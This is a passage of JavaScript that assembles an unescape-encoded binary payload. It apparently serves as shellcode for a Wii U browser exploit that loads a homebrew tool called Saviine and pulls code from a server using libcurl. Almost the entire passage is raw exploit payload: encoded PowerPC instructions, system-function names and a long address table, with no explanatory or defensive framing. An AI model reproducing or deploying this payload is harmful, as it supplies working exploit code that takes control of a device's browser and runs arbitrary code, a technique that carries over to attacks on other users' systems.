str += unescape("%u9421%uffc8%u7c08%u02a6%u9001%u003c%u93e1%u0034%u7c3f%u0b78%u907f%u0018%u909f%u001c%u90bf%u0020%u90df%u0024%u90ff%u0028%u813f%u001c%u913f%u000c%u813f%u001c%u2f89%u0000%u419e%u007c%u813f%u000c");
|
||||
str += unescape("%u8929%u0000%u5529%u063e%u2b89%u007f%u409e%u0068%u813f%u000c%u8929%u0001%u5529%u063e%u2b89%u0045%u409e%u0054%u813f%u000c%u8929%u0002%u5529%u063e%u2b89%u004c%u409e%u0040%u813f%u000c%u8929%u0003");
|
||||
str += unescape("%u5529%u063e%u2b89%u0046%u409e%u002c%u813f%u000c%ua129%u0010%u5529%u043e%u2b89%u0002%u409e%u0018%u813f%u000c%ua129%u0012%u5529%u043e%u2b89%u0014%u419e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180");
|
||||
str += unescape("%u386a%u1bf0%u7d29%u03a6%u4e80%u0421%u813f%u000c%u8129%u0020%u815f%u001c%u7d2a%u4a14%u913f%u0010%u3920%u0000%u913f%u0008%u4800%u00d0%u813f%u000c%ua129%u0032%u5529%u043e%u1d29%u0028%u815f%u0010");
|
||||
str += unescape("%u7d2a%u4a14%u8149%u0010%u813f%u0008%u1d29%u0028%u811f%u0010%u7d28%u4a14%u8129%u0000%u7d2a%u4a14%u815f%u001c%u7d2a%u4a14%u913f%u0014%u807f%u0014%u809f%u0020%u4bff%ufe0d%u7c69%u1b78%u2f89%u0000");
|
||||
str += unescape("%u409e%u006c%u813f%u0028%u2f89%u0000%u419e%u0020%u813f%u0008%u1d29%u0028%u815f%u0010%u7d2a%u4a14%u8149%u000c%u813f%u0028%u9149%u0000%u813f%u0024%u2f89%u0000%u419e%u0020%u813f%u0008%u1d29%u0028");
|
||||
str += unescape("%u815f%u0010%u7d2a%u4a14%u8149%u0014%u813f%u0024%u9149%u0000%u813f%u0008%u1d29%u0028%u815f%u0010%u7d2a%u4a14%u8129%u0010%u4800%u0040%u813f%u0008%u3929%u0001%u913f%u0008%u813f%u000c%ua129%u0030");
|
||||
str += unescape("%u5529%u043e%u7d2a%u4b78%u813f%u0008%u7f8a%u4800%u419d%uff1c%u3d20%u0103%u6129%u1368%u807f%u0020%u7d29%u03a6%u4e80%u0421%u7d23%u4b78%u397f%u0038%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78");
|
||||
str += unescape("%u4e80%u0020%u9421%uff98%u7c08%u02a6%u9001%u006c%u93e1%u0064%u7c3f%u0b78%u907f%u0058%u3d20%ua11d%u6129%ufffc%u8149%u0000%u3d20%ucaca%u6129%ucaca%u7f8a%u4800%u419e%u03bc%u3d20%ua11d%u6129%ufffc");
|
||||
str += unescape("%u3d40%ucaca%u614a%ucaca%u9149%u0000%u3920%u0000%u913f%u0038%u3920%u0000%u913f%u003c%u813f%u0058%u8109%u0008%u395f%u003c%u393f%u0038%u807f%u0058%u7d04%u4378%u3d00%u0180%u38a8%u1bfc%u7d46%u5378");
|
||||
str += unescape("%u7d27%u4b78%u4bff%ufd7d%u907f%u0010%u813f%u0058%u8149%u0008%u813f%u0010%u7d2a%u4a14%u913f%u0014%u3920%u0000%u913f%u0040%u3920%u0000%u913f%u0044%u813f%u0058%u8109%u0008%u395f%u0044%u393f%u0040");
|
||||
str += unescape("%u807f%u0058%u7d04%u4378%u3d00%u0180%u38a8%u1c04%u7d46%u5378%u7d27%u4b78%u4bff%ufd29%u907f%u0010%u813f%u0058%u8149%u0008%u813f%u0010%u7d2a%u4a14%u913f%u0018%u3920%u0000%u913f%u0048%u3920%u0000");
|
||||
str += unescape("%u913f%u004c%u813f%u0058%u8109%u0008%u395f%u004c%u393f%u0048%u807f%u0058%u7d04%u4378%u3d00%u0180%u38a8%u1c0c%u7d46%u5378%u7d27%u4b78%u4bff%ufcd5%u907f%u0010%u813f%u0058%u8149%u0008%u813f%u0010");
|
||||
str += unescape("%u7d2a%u4a14%u913f%u001c%u813f%u0038%u3d29%ua000%u913f%u0020%u811f%u0020%u813f%u003c%u7d2a%u4b78%u3d20%u0103%u6129%u5a6c%u7d03%u4378%u809f%u0014%u7d45%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0020");
|
||||
str += unescape("%u815f%u003c%u3d20%u0102%u6129%u3ee8%u7d03%u4378%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0020%u815f%u003c%u3d20%u0102%u6129%u4010%u7d03%u4378%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0040");
|
||||
str += unescape("%u3d29%ua000%u913f%u0020%u811f%u0020%u813f%u0044%u7d2a%u4b78%u3d20%u0103%u6129%u5a6c%u7d03%u4378%u809f%u0018%u7d45%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0020%u815f%u0044%u3d20%u0102%u6129%u3ee8");
|
||||
str += unescape("%u7d03%u4378%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u813f%u001c%u913f%u0024%u815f%u004c%u3d20%uaaaa%u6129%uaaab%u7d2a%u4816%u5529%ue8fe%u913f%u0008%u815f%u0038%u813f%u003c%u7d2a%u4a14%u3d29%ua000");
|
||||
str += unescape("%u913f%u000c%u4800%u014c%u813f%u0008%u1d29%u000c%u815f%u0024%u7d2a%u4a14%u8129%u0000%u913f%u0028%u813f%u0008%u1d29%u000c%u815f%u0024%u7d2a%u4a14%u8129%u0004%u913f%u002c%u813f%u0008%u1d29%u000c");
|
||||
str += unescape("%u815f%u0024%u7d2a%u4a14%u8129%u0008%u913f%u0030%u813f%u0030%u3d29%ua000%u815f%u000c%u3d4a%u6000%u9149%u0000%u813f%u0028%u3d29%ua000%u8149%u0000%u813f%u000c%u9149%u0000%u813f%u000c%u3929%u0004");
|
||||
str += unescape("%u913f%u000c%u813f%u0028%u3929%u0004%u5529%u01ba%u6529%u4800%u612a%u0002%u813f%u000c%u9149%u0000%u813f%u000c%u3929%u0004%u913f%u000c%u813f%u000c%u3949%ufffe%u3d20%u0102%u6129%u3ee8%u7d43%u5378");
|
||||
str += unescape("%u3880%u0008%u7d29%u03a6%u4e80%u0421%u813f%u000c%u3949%ufffe%u3d20%u0102%u6129%u4010%u7d43%u5378%u3880%u0008%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3d29%ua000%u815f%u002c%u554a%u01ba%u654a%u4800");
|
||||
str += unescape("%u614a%u0002%u9149%u0000%u813f%u0028%u3d29%ua000%u7d2a%u4b78%u3d20%u0102%u6129%u3ee8%u7d43%u5378%u3880%u0004%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3d29%ua000%u7d2a%u4b78%u3d20%u0102%u6129%u4010");
|
||||
str += unescape("%u7d43%u5378%u3880%u0004%u7d29%u03a6%u4e80%u0421%u813f%u0008%u3949%uffff%u915f%u0008%u2f89%u0000%u409e%ufea8%u3d20%ua10c%u6129%u0404%u913f%u0034%u813f%u0034%u3d40%u3860%u9149%u0000%u813f%u0034");
|
||||
str += unescape("%u3929%u0004%u3d40%u4e80%u614a%u0020%u9149%u0000%u3d20%uffea%u6123%uaa58%u3880%u0000%u4800%u002d%u3d20%uffea%u6123%uaa5c%u3c80%u1400%u4800%u001d%u397f%u0068%u800b%u0004%u7c08%u03a6%u83eb%ufffc");
|
||||
str += unescape("%u7d61%u5b78%u4e80%u0020%u9421%uffe0%u7c08%u02a6%u9001%u0024%u93a1%u0014%u93c1%u0018%u93e1%u001c%u7c3f%u0b78%u907f%u0008%u909f%u000c%u83df%u0008%u83bf%u000c%u3860%u0001%u3880%u0000%u7fa5%ueb78");
|
||||
str += unescape("%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fc9%uf378%u7c3d%u0b78%u3800%u3500%u4400%u0002%u6000%u0000%u7fa1%ueb78%u397f%u0020%u800b%u0004%u7c08%u03a6%u83ab%ufff4%u83cb%ufff8%u83eb%ufffc%u7d61%u5b78");
|
||||
str += unescape("%u4e80%u0020%u4e6f%u206b%u7370%u6c6f%u6974%u2e00%u636f%u7265%u696e%u6974%u0000%u0000%u6d65%u6d73%u6574%u0000%u4d45%u4d41%u6c6c%u6f63%u4672%u6f6d%u4465%u6661%u756c%u7448%u6561%u7045%u7800%u0000");
|
||||
str += unescape("%u4d45%u4d46%u7265%u6554%u6f44%u6566%u6175%u6c74%u4865%u6170%u0000%u0000%u494d%u5f4f%u7065%u6e00%u494d%u5f43%u6c6f%u7365%u0000%u0000%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174%u6500%u0000");
|
||||
str += unescape("%u4f53%u416c%u6c6f%u6346%u726f%u6d53%u7973%u7465%u6d00%u0000%u4f53%u4672%u6565%u546f%u5379%u7374%u656d%u0000%u4f53%u4372%u6561%u7465%u5468%u7265%u6164%u0000%u4f53%u5265%u7375%u6d65%u5468%u7265");
|
||||
str += unescape("%u6164%u0000%u4f53%u4973%u5468%u7265%u6164%u5465%u726d%u696e%u6174%u6564%u0000%u0000%u5468%u7265%u6164%u206d%u656d%u6f72%u7920%u616c%u6c6f%u6361%u7469%u6f6e%u2066%u6169%u6c65%u642e%u0000%u0000");
|
||||
str += unescape("%u4661%u696c%u6564%u2074%u6f20%u6372%u6561%u7465%u2074%u6872%u6561%u6400%u4f53%u5363%u7265%u656e%u496e%u6974%u0000%u0000%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800");
|
||||
str += unescape("%u4f53%u5363%u7265%u656e%u5365%u7442%u7566%u6665%u7245%u7800%u4f53%u5363%u7265%u656e%u436c%u6561%u7242%u7566%u6665%u7245%u7800%u0000%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345");
|
||||
str += unescape("%u7800%u0000%u4f53%u5363%u7265%u656e%u5075%u7446%u6f6e%u7445%u7800%u0000%u7670%u6164%u2e72%u706c%u0000%u0000%u5650%u4144%u5265%u6164%u0000%u0000%u2d2d%u2053%u4156%u4949%u4e45%u2031%u2e30%u2028");
|
||||
str += unescape("%u6120%u6361%u6669%u696e%u6520%u6d6f%u6429%u202d%u2d00%u0000%u2573%u203a%u2025%u3364%u2e25%u3364%u2e25%u3364%u2e25%u3364%u0000%u0000%u312e%u2053%u6572%u7665%u7220%u4950%u0000%u0000%u322e%u2050");
|
||||
str += unescape("%u7265%u7373%u2041%u2074%u6f20%u696e%u7374%u616c%u6c20%u7361%u7669%u696e%u6500%u0000%u686f%u6d65%u2062%u7574%u746f%u6e20%u746f%u2065%u7869%u7420%u2e2e%u2e00%u7676%u7600%u4d65%u6d6f%u7279%u2061");
|
||||
str += unescape("%u6c6c%u6f63%u6174%u696f%u6e20%u6661%u696c%u6564%u0000%u0000%u5552%u4c20%u6e6f%u7420%u666f%u756e%u6400%u0000%u6e6c%u6962%u6375%u726c%u0000%u0000%u6375%u726c%u5f65%u6173%u795f%u696e%u6974%u0000");
|
||||
str += unescape("%u6375%u726c%u5f65%u6173%u795f%u7365%u746f%u7074%u0000%u0000%u6375%u726c%u5f65%u6173%u795f%u7065%u7266%u6f72%u6d00%u0000%u6375%u726c%u5f65%u6173%u795f%u6765%u7469%u6e66%u6f00%u0000%u6375%u726c");
|
||||
str += unescape("%u5f65%u6173%u795f%u636c%u6561%u6e75%u7000%u0000%u6355%u524c%u2069%u6e69%u7420%u6661%u696c%u6564%u0000%u0000%u7361%u7669%u696e%u6535%u3332%u2e65%u6c66%u0000%u496e%u7661%u6c69%u6420%u656c%u6600");
|
||||
str += unescape("%u2e74%u6578%u7400%u0000%u2e72%u6f64%u6174%u6100%u2e6d%u6167%u6963%u0000%u0000%u1c18%u0000%u1c1c%u0000%u1c20%u0000%u1c24%u0000%u1c28%u0000%u1c2c%u0000%u1c30%u0000%u1c34%u0000%u1c38%u0000%u1c3c");
|
||||
str += unescape("%u0000%u1c40%u0000%u1c44%u0000%u1c48%u0000%u1c4c%u0000%u1c50%u0000%u1c54%u0000%u1c58%u0000%u1c5c%u0000%u1c60%u0000%u1c64%u0000%u1c68%u0000%u1c6c%u0000%u1c70%u0000%u1c74%u0000%u1c78%u0000%u1c7c");
|
||||
str += unescape("%u0000%u1c80%u0000%u1c84%u0000%u1c88%u0000%u1c8c%u0000%u1c90%u0000%u1c94%u0000%u1c98%u0000%u1c9c%u0000%u1ca0%u0000%u1ca4%u0000%u1ca8%u0000%u1cac%u0000%u1cb0%u0000%u1cb4%u0000%u1cb8%u0000%u1cbc");
|
||||
str += unescape("%u0000%u1cc0%u0000%u1cc4%u0000%u1cc8%u0000%u1ccc%u0000%u1cd0%u0000%u1cd4%u0000%u1cd8%u0000%u1cdc%u0000%u1ce0%u0000%u1ce4%u0000%u1ce8%u0000%u1cec%u0000%u1cf0%u0000%u1cf4%u0000%u1cf8%u0000%u1cfc");
|
||||
str += unescape("%u0000%u1d00%u0000%u1d04%u0000%u1d08%u0000%u1d0c%u0000%u1d10%u0000%u1d14%u0000%u1d18%u0000%u1d1c%u0000%u1d20%u0000%u1d24%u0000%u1d28%u0000%u1d2c%u0000%u1d30%u0000%u1d34%u0000%u1d38%u0000%u1d3c");
|
||||
str += unescape("%u0000%u1d40%u0000%u1d44%u0000%u1d48%u0000%u1d4c%u0000%u1d50%u0000%u1d54%u0000%u1d58%u0000%u1d5c%u0000%u1d60%u0000%u1d64%u0000%u1d68%u0000%u1d6c%u0000%u1d70%u0000%u1d74%u0000%u1d78%u0000%u1d7c");
|
||||
str += unescape("%u0000%u1d80%u0000%u1d84%u0000%u1d88%u0000%u1d8c%u0000%u1d90%u0000%u1d94%u0000%u1d98%u0000%u1d9c%u0000%u1da0%u0000%u1da4%u0000%u1da8%u0000%u1dac%u0000%u1db0%u0000%u1db4%u0000%u1db8%u0000%u1dbc");
|
||||
str += unescape("%u0000%u1dc0%u0000%u1dc4%u0000%u1dc8%u0000%u1dcc%u0000%u1dd0%u0000%u1dd4%u0000%u1dd8%u0000%u1ddc%u0000%u1de0%u0000%u1de4%u0000%u1de8%u0000%u1dec%u0000%u1df0%u0000%u1df4%u0000%u1df8%u0000%u1dfc");
|
||||
str += unescape("%u0000%u1e00%u0000%u1e04%u0000%u1e08%u0000%u1e0c%u0000%u1e10%u0000%u1e14%u0000%u1e18%u0000%u1e1c%u0000%u1e20%u0000%u1e24%u0000%u1e28%u0000%u1e2c%u0000%u1e30%u0000%u1e34%u0000%u1e38%u0000%u1e3c");
|
||||
str += unescape("%u0000%u1e40%u0000%u1e44%u0000%u1e48%u0000%u1e4c%u0000%u1e50%u0000%u1e54%u0000%u1e58%u0000%u1e5c%u0000%u1e60%u0000%u1e64%u0000%u1e68%u0000%u1e6c%u0000%u1e70%u0000%u1e74%u0000%u1e78%u0000%u1e7c");
|
||||
str += unescape("%u0000%u1e80%u0000%u1e84%u0000%u1e88%u0000%u1e8c%u0000%u1e90%u0000%u1e94%u0000%u1e98%u0000%u1e9c%u0000%u1ea0%u0000%u1ea4%u0000%u1ea8%u0000%u1eac%u0000%u1eb0%u0000%u1eb4%u0000%u1eb8%u0000%u1ebc");
|
||||
str += unescape("%u0000%u1ec0%u0000%u1ec4%u0000%u1ec8%u0000%u1ecc%u0000%u1ed0%u0000%u1ed4%u0000%u1ed8%u0000%u1edc%u0000%u1ee0%u0000%u1ee4%u0000%u1ee8%u0000%u1eec%u0000%u1ef0%u0000%u1ef4%u0000%u1ef8%u0000%u1efc");
|
||||
str += unescape("%u0000%u1f00%u0000%u1f04%u0000%u1f08%u0000%u1f0c%u0000%u1f10%u0000%u1f14%u0000%u1f18%u0000%u1f1c%u0000%u1f20%u0000%u1f24%u0000%u1f28%u0000%u1f2c%u0000%u1f30%u0000%u1f34%u0000%u1f38%u0000%u1f3c");
|
||||
str += unescape("%u0000%u1f40%u0000%u1f44%u0000%u1f48%u0000%u1f4c%u0000%u1f50%u0000%u1f54%u0000%u1f58%u0000%u1f5c%u0000%u1f60%u0000%u1f64%u0000%u1f68%u0000%u1f6c%u0000%u1f70%u0000%u1f74%u0000%u1f78%u0000%u1f7c");
|
||||
str += unescape("%u0000%u1f80%u0000%u1f84%u0000%u1f88%u0000%u1f8c%u0000%u1f90%u0000%u1f94%u0000%u1f98%u0000%u1f9c%u0000%u1fa0%u0000%u1fa4%u0000%u1fa8%u0000%u1fac%u0000%u1fb0%u0000%u1fb4%u0000%u1fb8%u0000%u1fbc");
|
||||
str += unescape("%u0000%u1fc0%u0000%u1fc4%u0000%u1fc8%u0000%u1fcc%u0000%u1fd0%u0000%u1fd4%u0000%u1fd8%u0000%u1fdc%u0000%u1fe0%u0000%u1fe4%u0000%u1fe8%u0000%u1fec%u0000%u1ff0%u0000%u1ff4%u0000%u1ff8%u0000%u1ffc");
|
||||
str += unescape("%u0000%u2000%u0000%u2004%u0000%u2008%u0000%u200c%u0000%u2010%u0000%u2014%u0000%u2018%u0000%u201c%u0000%u2020%u0000%u2024%u0000%u2028%u0000%u202c%u0000%u2030%u0000%u2034%u0000%u2038%u0000%u203c");
|
||||
str += unescape("%u0000%u2040%u0000%u2044%u0000%u2048%u0000%u204c%u0000%u2050%u0000%u2054%u0000%u2058%u0000%u205c%u0000%u2060%u0000%u2064%u0000%u2068%u0000%u206c%u0000%u2070%u0000%u2074%u0000%u2078%u0000%u207c");
|
||||
str += unescape("%u0000%u2080%u0000%u2084%u0000%u2088%u0000%u208c%u0000%u2090%u0000%u2094%u0000%u2098%u0000%u209c%u0000%u20a0%u0000%u20a4%u0000%u20a8%u0000%u20ac%u0000%u20b0%u0000%u20b4%u0000%u20b8%u0000%u20bc");
|
||||
str += unescape("%u0000%u20c0%u0000%u20c4%u0000%u20c8%u0000%u20cc%u0000%u20d0%u0000%u20d4%u0000%u20d8%u0000%u20dc%u0000%u20e0%u0000%u20e4%u0000%u20e8%u0000%u20ec%u0000%u20f0%u0000%u20f4%u0000%u20f8%u0000%u20fc");
|
||||
str += unescape("%u0000%u2100%u0000%u2104%u0000%u2108%u0000%u210c%u0000%u2110%u0000%u2114%u0000%u2118%u0000%u211c%u0000%u2120%u0000%u2124%u0000%u2128%u0000%u212c%u0000%u2130%u0000%u2134%u0000%u2138%u0000%u213c");
|
||||
str += unescape("%u0000%u2140%u0000%u2144%u0000%u2148%u0000%u214c%u0000%u2150%u0000%u2154%u0000%u2158%u0000%u215c%u0000%u2160%u0000%u2164%u0000%u2168%u0000%u216c%u0000%u2170%u0000%u2174%u0000%u2178%u0000%u217c");
|
||||
str += unescape("%u0000%u2180%u0000%u2184%u0000%u2188%u0000%u218c%u0000%u2190%u0000%u2194%u0000%u2198%u0000%u219c%u0000%u21a0%u0000%u21a4%u0000%u21a8%u0000%u21ac%u0000%u21b0%u0000%u21b4%u0000%u21b8%u0000%u21bc");
|
||||
str += unescape("%u0000%u21c0%u0000%u21c4%u0000%u21c8%u0000%u21cc%u0000%u21d0%u0000%u21d4%u0000%u21d8%u0000%u21dc%u0000%u21e0%u0000%u21e4%u0000%u21e8%u0000%u21ec%u0000%u21f0%u0000%u21f4%u0000%u21f8%u0000%u21fc");
|
||||
str += unescape("%u0000%u2200%u0000%u2204%u0000%u2208%u0000%u220c%u0000%u2210%u0000%u2214%u0000%u2218%u0000%u221c%u0000%u2220%u0000%u2224%u0000%u2228%u0000%u222c%u0000%u2230%u0000%u2234%u0000%u2238%u0000%u223c");
|
||||
str += unescape("%u0000%u2240%u0000%u2244%u0000%u2248%u0000%u224c%u0000%u2250%u0000%u2254%u0000%u2258%u0000%u225c%u0000%u2260%u0000%u2264%u0000%u2268%u0000%u226c%u0000%u2270%u0000%u2274%u0000%u2278%u0000%u227c");
|
||||
str += unescape("%u0000%u2280%u0000%u2284%u0000%u2288%u0000%u228c%u0000%u2290%u0000%u2294%u0000%u2298%u0000%u229c%u0000%u22a0%u0000%u22a4%u0000%u22a8%u0000%u22ac%u0000%u22b0%u0000%u22b4%u0000%u22b8%u0000%u22bc");
|
||||
str += unescape("%u0000%u22c0%u0000%u22c4%u0000%u22c8%u0000%u22cc%u0000%u22d0%u0000%u22d4%u0000%u22d8%u0000%u22dc%u0000%u22e0%u0000%u22e4%u0000%u22e8%u0000%u22ec%u0000%u22f0%u0000%u22f4%u0000%u22f8%u0000%u22fc");
|
||||
str += unescape("%u0000%u2300%u0000%u2304%u0000%u2308%u0000%u230c%u0000%u2310%u0000%u2314%u0000%u2318%u0000%u231c%u0000%u2320%u0000%u2324%u0000%u2328%u0000%u232c%u0000%u2330%u0000%u2334%u0000%u2338%u0000%u233c");
|
||||
str += unescape("%u0000%u2340%u0000%u2344%u0000%u2348%u0000%u234c%u0000%u2350%u0000%u2354%u0000%u2358%u0000%u235c%u0000%u2360%u0000%u2364%u0000%u2368%u0000%u236c%u0000%u2370%u0000%u2374%u0000%u2378%u0000%u237c");
|
||||
str += unescape("%u0000%u2380%u0000%u2384%u0000%u2388%u0000%u238c%u0000%u2390%u0000%u2394%u0000%u2398%u0000%u239c%u0000%u23a0%u0000%u23a4%u0000%u23a8%u0000%u23ac%u0000%u23b0%u0000%u23b4%u0000%u23b8%u0000%u23bc");
|
||||
str += unescape("%u0000%u23c0%u0000%u23c4%u0000%u23c8%u0000%u23cc%u0000%u23d0%u0000%u23d4%u0000%u23d8%u0000%u23dc%u0000%u23e0%u0000%u23e4%u0000%u23e8%u0000%u23ec%u0000%u23f0%u0000%u23f4%u0000%u23f8%u0000%u23fc");
|
||||
str += unescape("%u0000%u2400%u0000%u2404%u0000%u2408%u0000%u240c%u0000%u2410%u0000%u2414%u0000%u2418%u0000%u241c%u0000%u2420%u0000%u2424%u0000%u2428%u0000%u242c%u0000%u2430%u0000%u2434%u0000%u2438%u0000%u243c");
|
||||
str += unescape("%u0000%u2440%u0000%u2444%u0000%u2448%u0000%u244c%u0000%u2450%u0000%u2454%u0000%u2458%u0000%u245c%u0000%u2460%u0000%u2464%u0000%u2468%u0000%u246c%u0000%u2470%u0000%u2474%u0000%u2478%u0000%u247c");
|
||||
str += unescape("%u0000%u2480%u0000%u2484%u0000%u2488%u0000%u248c%u0000%u2490%u0000%u2494%u0000%u2498%u0000%u249c%u0000%u24a0%u0000%u24a4%u0000%u24a8%u0000%u24ac%u0000%u24b0%u0000%u24b4%u0000%u24b8%u0000%u24bc");
|
||||
str += unescape("%u0000%u24c0%u0000%u24c4%u0000%u24c8%u0000%u24cc%u0000%u24d0%u0000%u24d4%u0000%u24d8%u0000%u24dc%u0000%u24e0%u0000%u24e4%u0000%u24e8%u0000%u24ec%u0000%u24f0%u0000%u24f4%u0000%u24f8%u0000%u24fc");
|
||||
str += unescape("%u0000%u2500%u0000%u2504%u0000%u2508%u0000%u250c%u0000%u2510%u0000%u2514%u0000%u2518%u0000%u251c%u0000%u2520%u0000%u2524%u0000%u2528%u0000%u252c%u0000%u2530%u0000%u2534%u0000%u2538%u0000%u253c");
|
||||
str += unescape("%u0000%u2540%u0000%u2544%u0000%u2548%u0000%u254c%u0000%u2550%u0000%u2554%u0000%u2558%u0000%u255c%u0000%u2560%u0000%u2564%u0000%u2568%u0000%u256c%u0000%u2570%u0000%u2574%u0000%u2578%u0000%u257c");
|
||||
str += unescape("%u0000%u2580%u0000%u2584%u0000%u2588%u0000%u258c%u0000%u2590%u0000%u2594%u0000%u2598%u0000%u259c%u0000%u25a0%u0000%u25a4%u0000%u25a8%u0000%u25ac%u0000%u25b0%u0000%u25b4%u0000%u25b8%u0000%u25bc");
|
||||
str += unescape("%u0000%u25c0%u0000%u25c4%u0000%u25c8%u0000%u25cc%u0000%u25d0%u0000%u25d4%u0000%u25d8%u0000%u25dc%u0000%u25e0%u0000%u25e4%u0000%u25e8%u0000%u25ec%u0000%u25f0%u0000%u25f4%u0000%u25f8%u0000%u25fc");
|
||||
str += unescape("%u0000%u2600%u0000%u2604%u0000%u2608%u0000%u260c%u0000%u2610%u0000%u2614%u0000%u2618%u0000%u261c%u0000%u2620%u0000%u2624%u0000%u2628%u0000%u262c%u0000%u2630%u0000%u2634%u0000%u2638%u0000%u263c");
|
||||
str += unescape("%u0000%u2640%u0000%u2644%u0000%u2648%u0000%u264c%u0000%u2650%u0000%u2654%u0000%u2658%u0000%u265c%u0000%u2660%u0000%u2664%u0000%u2668%u0000%u266c%u0000%u2670%u0000%u2674%u0000%u2678%u0000%u267c");
|
||||
str += unescape("%u0000%u2680%u0000%u2684%u0000%u2688%u0000%u268c%u0000%u2690%u0000%u2694%u0000%u2698%u0000%u269c%u0000%u26a0%u0000%u26a4%u0000%u26a8%u0000%u26ac%u0000%u26b0%u0000%u26b4%u0000%u26b8%u0000%u26bc");
|
||||
str += unescape("%u0000%u26c0%u0000%u26c4%u0000%u26c8%u0000%u26cc%u0000%u26d0%u0000%u26d4%u0000%u26d8%u0000%u26dc%u0000%u26e0%u0000%u26e4%u0000%u26e8%u0000%u26ec%u0000%u26f0%u0000%u26f4%u0000%u26f8%u0000%u26fc");
|
||||
str += unescape("%u0000%u2700%u0000%u2704%u0000%u2708%u0000%u270c%u0000%u2710%u0000%u2714%u0000%u2718%u0000%u271c%u0000%u2720%u0000%u2724%u0000%u2728%u0000%u272c%u0000%u2730%u0000%u2734%u0000%u2738%u0000%u273c");
|
||||
str += unescape("%u0000%u2740%u0000%u2744%u0000%u2748%u0000%u274c%u0000%u2750%u0000%u2754%u0000%u2758%u0000%u275c%u0000%u2760%u0000%u2764%u0000%u2768%u0000%u276c%u0000%u2770%u0000%u2774%u0000%u2778%u0000%u277c");
|
||||
str += unescape("%u0000%u2780%u0000%u2784%u0000%u2788%u0000%u278c%u0000%u2790%u0000%u2794%u0000%u2798%u0000%u279c%u0000%u27a0%u0000%u27a4%u0000%u27a8%u0000%u27ac%u0000%u27b0%u0000%u27b4%u0000%u27b8%u0000%u27bc");
|
||||
str += unescape("%u0000%u27c0%u0000%u27c4%u0000%u27c8%u0000%u27cc%u0000%u27d0%u0000%u27d4%u0000%u27d8%u0000%u27dc%u0000%u27e0%u0000%u27e4%u0000%u27e8%u0000%u27ec%u0000%u27f0%u0000%u27f4%u0000%u27f8%u0000%u27fc");
|
||||
str += unescape("%u0000%u2800%u0000%u2804%u0000%u2808%u0000%u280c%u0000%u2810%u0000%u2814%u0000%u2818%u0000%u281c%u0000%u2820%u0000%u2824%u0000%u2828%u0000%u282c%u0000%u2830%u0000%u2834%u0000%u2838%u0000%u283c");
|
||||
str += unescape("%u0000%u2840%u0000%u2844%u0000%u2848%u0000%u284c%u0000%u2850%u0000%u2854%u0000%u2858%u0000%u285c%u0000%u2860%u0000%u2864%u0000%u2868%u0000%u286c%u0000%u2870%u0000%u2874%u0000%u2878%u0000%u287c");
|
||||
str += unescape("%u0000%u2880%u0000%u2884%u0000%u2888%u0000%u288c%u0000%u2890%u0000%u2894%u0000%u2898%u0000%u289c%u0000%u28a0%u0000%u28a4%u0000%u28a8%u0000%u28ac%u0000%u28b0%u0000%u28b4%u0000%u28b8%u0000%u28bc");
|
||||
str += unescape("%u0000%u28c0%u0000%u28c4%u0000%u28c8%u0000%u28cc%u0000%u28d0%u0000%u28d4%u0000%u28d8%u0000%u28dc%u0000%u28e0%u0000%u28e4%u0000%u28e8%u0000%u28ec%u0000%u28f0%u0000%u28f4%u0000%u28f8%u0000%u28fc");
|
||||
str += unescape("%u0000%u2900%u0000%u2904%u0000%u2908%u0000%u290c%u0000%u2910%u0000%u2914%u0000%u2918%u0000%u291c%u0000%u2920%u0000%u2924%u0000%u2928%u0000%u292c%u0000%u2930%u0000%u2934%u0000%u2938%u0000%u293c");
|
||||
str += unescape("%u0000%u2940%u0000%u2944%u0000%u2948%u0000%u294c%u0000%u2950%u0000%u2954%u0000%u2958%u0000%u295c%u0000%u2960%u0000%u2964%u0000%u2968%u0000%u296c%u0000%u2970%u0000%u2974%u0000%u2978%u0000%u297c");
|
||||
str += unescape("%u0000%u2980%u0000%u2984%u0000%u2988%u0000%u298c%u0000%u2990%u0000%u2994%u0000%u2998%u0000%u299c%u0000%u29a0%u0000%u29a4%u0000%u29a8%u0000%u29ac%u0000%u29b0%u0000%u29b4%u0000%u29b8%u0000%u29bc");
|
||||
str += unescape("%u0000%u29c0%u0000%u29c4%u0000%u29c8%u0000%u29cc%u0000%u29d0%u0000%u29d4%u0000%u29d8%u0000%u29dc%u0000%u29e0%u0000%u29e4%u0000%u29e8%u0000%u29ec%u0000%u29f0%u0000%u29f4%u0000%u29f8%u0000%u29fc");
|
||||
str += unescape("%u0000%u2a00%u0000%u2a04%u0000%u2a08%u0000%u2a0c%u0000%u2a10%u0000%u2a14%u0000%u2a18%u0000%u2a1c%u0000%u2a20%u0000%u2a24%u0000%u2a28%u0000%u2a2c%u0000%u2a30%u0000%u2a34%u0000%u2a38%u0000%u2a3c");
|
||||
str += unescape("%u0000%u2a40%u0000%u2a44%u0000%u2a48%u0000%u2a4c%u0000%u2a50%u0000%u2a54%u0000%u2a58%u0000%u2a5c%u0000%u2a60%u0000%u2a64%u0000%u2a68%u0000%u2a6c%u0000%u2a70%u0000%u2a74%u0000%u2a78%u0000%u2a7c");
|
||||
str += unescape("%u0000%u2a80%u0000%u2a84%u0000%u2a88%u0000%u2a8c%u0000%u2a90%u0000%u2a94%u0000%u2a98%u0000%u2a9c%u0000%u2aa0%u0000%u2aa4%u0000%u2aa8%u0000%u2aac%u0000%u2ab0%u0000%u2ab4%u0000%u2ab8%u0000%u2abc");
|
||||
str += unescape("%u0000%u2ac0%u0000%u2ac4%u0000%u2ac8%u0000%u2acc%u0000%u2ad0%u0000%u2ad4%u0000%u2ad8%u0000%u2adc%u0000%u2ae0%u0000%u2ae4%u0000%u2ae8%u0000%u2aec%u0000%u2af0%u0000%u2af4%u0000%u2af8%u0000%u2afc");
|
||||
